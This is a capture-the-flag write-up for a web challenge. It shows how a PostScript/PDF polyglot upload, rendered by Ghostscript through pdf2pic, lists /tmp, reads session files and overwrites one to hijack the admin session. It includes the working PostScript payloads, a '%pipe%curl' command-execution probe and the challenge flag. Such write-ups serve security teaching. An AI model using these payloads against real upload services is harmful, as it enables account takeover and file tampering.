Author: grayzray

Files: chall.zip — download from the original Discord thread.

From Dusk till Dawn 2026 qualifiers - Library of Alexandria

Author: @b0n0b0

Description

Sharing knowledge, reading books, and all that nerdy stuff. I know you love that

chall.zip

Flag format: DAJEROMA{…} Flag: DAJEROMA{if_y0u_l0v3_sci-fi_y0u_sh0uld_r34d_judg3_4nd3rs0n_sh4mb4ll4!_if_y0u_w4n7_70_y4p_4b0u7_sci-fi_find_m3_4nd_ch47_wi7h_m3!}

Writeup

We’re given source code for a website. After launching the website, we see a simple interface:

image1

The website is a simple PDF file storage that displays thumbnails of uploaded PDF files. After inspecting the source code, we can see that the goal of this challenge is to gain access to the admin session:

image2

Digging deeper into the source code, we see that /api/my-books queries the database for books under a user id of the current session. As long as you get session.user.id = 1, you will have access to the admin books.

image3 image4

The vulnerability lies in the validation of PDF files. At first, I saw this function:

image5

It seems as though the app only checks if the file extension is “.pdf” and the mimetype “application/pdf”, so initially, I tried to upload an executable file where i changed the extension to be .pdf, but this came up:

image6

This happens because the PDFDocument.load() method from pdf-lib crashes if no PDF header is present in the PDF file:

image7

Error: Failed to parse PDF document (line:28 col:15946 offset=16860): No PDF header found

pdf-lib’s parser checks for a PDF header anywhere in the file, so as long as my file included “%PDF-1.4”, it would be accepted and stored in the database.

image8

At this point, I needed to get a script to run. The app uses ‘pdf2pic’ to get the thumbnails for each pdf. This library uses GraphicsMagick/Ghostscript under the hood. Since ghostscript is an interpreter for PostScript and PDF files, we can make a PS script to look for vulnerabilities. As long as our uploaded file starts with ”%!PS”, Ghostscript will interpret it as a postscript file and execute the script in it. We also need to make sure our file has the “%PDF-1.4” header somewhere so it is accepted to the database. The first test script was this:

%!PS
%PDF-1.4

(%pipe%curl http://{my-domain}) (r) file
showpage

This script would, ideally, fetch my server and confirm that command execution is possible. However, modern versions of Ghostscript run with the -dSAFER flag (which disables most postscript functions, including pipe) by default. The website displayed a book emoji, which is used as a fallback, when I uploaded this script.

image9

The actual exploit comes from the fact that Ghostscript allows reading/writing files to /tmp/. We can see in the source code that session files live in “/tmp/sessions”:

const sessionsDir = ‘/tmp/sessions’;

We also know that overwriting our session to have session.user.id=1 is enough to gain access to admin books. With this PS script, we can list /tmp/*.json in the thumbnail of a PDF:

%!PS
%PDF-1.4

/Times-Roman findfont
8 scalefont
setfont

/out 8192 string def
/idx 0 def

/addline {
    /s exch def
    out idx s putinterval
    /idx idx s length add def

    out idx (\n) putinterval
    /idx idx 1 add def
} def

(/tmp/*) {
    addline
} 1024 string filenameforall

50 750 moveto
out 0 idx getinterval show

showpage

image10

This confirms that session files are named after your session cookie. We can inspect a file with this script:

%!PS
%PDF-1.4

/Times-Roman findfont
8 scalefont
setfont

/buf 16384 string def

(/tmp/sessions/{session_id}.json) (r) file
buf
readstring
pop

50 700 moveto
show

showpage

image11

Knowing all of this, I wrote the final script, that overwrites session.user.id to be 1:

%!PS
%PDF-1.4
(/tmp/sessions/{session_id}.json) (w) file
dup ({"cookie":{"originalMaxAge":86400000,"expires":"2026-12-31T23:59:59.000Z","httpOnly":true,"path":"/"},"user":{"id":1,"username":"admin"}}) writestring
closefile

/Courier findfont 14 scalefont setfont
50 700 moveto
(Overwrite Attempted) show
showpage

Uploading this as “exploit.pdf” gives you access to the “Welcome.pdf” book with the flag: image12